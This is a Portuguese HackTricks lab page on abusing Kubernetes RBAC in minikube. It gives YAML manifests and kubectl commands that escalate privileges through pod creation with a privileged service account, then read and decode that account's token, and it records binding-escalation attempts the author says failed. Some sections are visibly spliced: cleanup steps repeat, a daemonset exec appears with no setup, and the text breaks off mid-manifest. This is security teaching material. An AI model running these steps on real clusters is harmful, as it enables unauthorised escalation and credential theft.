Kubernetes Roles Abuse Lab

Apoie o HackTricks e obtenha benefícios!

Você pode executar esses laboratórios apenas dentro do minikube.

Criação de Pod -> Escalar para ns SAs

Vamos criar:

  • Uma conta de serviço "test-sa" com um privilégio de cluster para ler segredos

    • Um ClusterRole "test-cr" e um ClusterRoleBinding "test-crb" serão criados

  • Permissões para listar e criar pods para um usuário chamado "Test" serão concedidas

    • Um Role "test-r" e RoleBinding "test-rb" serão criados

  • Em seguida, vamos confirmar que o SA pode listar segredos e que o usuário Test pode listar um pod

  • Finalmente, vamos impersonar o usuário Test para criar um pod que inclui o SA test-sa e roubar o token da conta de serviço.

    • Esta é a maneira de mostrar que o usuário pode escalar privilégios dessa maneira

Para criar o cenário, uma conta de administrador é usada. Além disso, para exfiltrar o token da conta de serviço neste exemplo, a conta de administrador é usada para executar dentro do pod criado. No entanto, como explicado aqui, a declaração do pod pode conter a exfiltração do token, então o privilégio "exec" não é necessário para exfiltrar o token, a permissão "create" é suficiente.

# Criar conta de serviço test-sa
# Criar função e vinculação de função para dar permissões de listagem e criação sobre pods no namespace padrão para o usuário Test
# Criar clusterrole e clusterrolebinding para dar acesso ao SA test-sa a segredos em todos os lugares

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Verificar se test-sa pode acessar segredos do kube-system
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Verificar se o usuário Test pode obter pods no namespace padrão
kubectl --as Test -n default get pods

# Criar um pod como usuário Test com o SA test-sa (etapa de privilégio)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Conectar-se ao pod criado e confirmar que o token da conta de serviço anexado pertence a test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Limpar o cenário
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test
# Conecte-se ao pod criado e confirme que o token SA anexado pertence a test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Limpe o cenário
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Não funciona

Criar/Modificar Bindings

Não funciona:

  • Criar um novo RoleBinding apenas com o verbo create

  • Criar um novo RoleBinding apenas com o verbo patch (você precisa ter permissões de binding)

    • Você não pode fazer isso para atribuir a função a si mesmo ou a um SA diferente

  • Modificar um novo RoleBinding apenas com o verbo patch (você precisa ter permissões de binding)

    • Você não pode fazer isso para atribuir a função a si mesmo ou a um SA diferente

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Crie um pod como usuário Test com o SA test-sa (etapa de privesc)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Conecte-se ao pod criado e confirme que o token SA anexado pertence a test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Limpe o cenário
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bindings explícitos

Na seção "Prevenção de Escalonamento de Privilégios e Inicialização" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ é mencionado que se um SA pode criar um Binding e tem permissões de Bind explícitas sobre a Função/Cluster role, ele pode criar bindings mesmo usando Funções/ClusterRoles com permissões que ele não tem. No entanto, não funcionou para mim:

# Crie 2 SAs, dê a um deles permissões para criar clusterrolebindings
# e permissões de bind sobre a ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Tente vincular a ClusterRole "admin" com o segundo SA (não funcionará)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    namespace: default
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Limpe o ambiente
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Como o exemplo anterior, mas neste caso tentamos usar RoleBindings
# em vez de CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization

Última actualización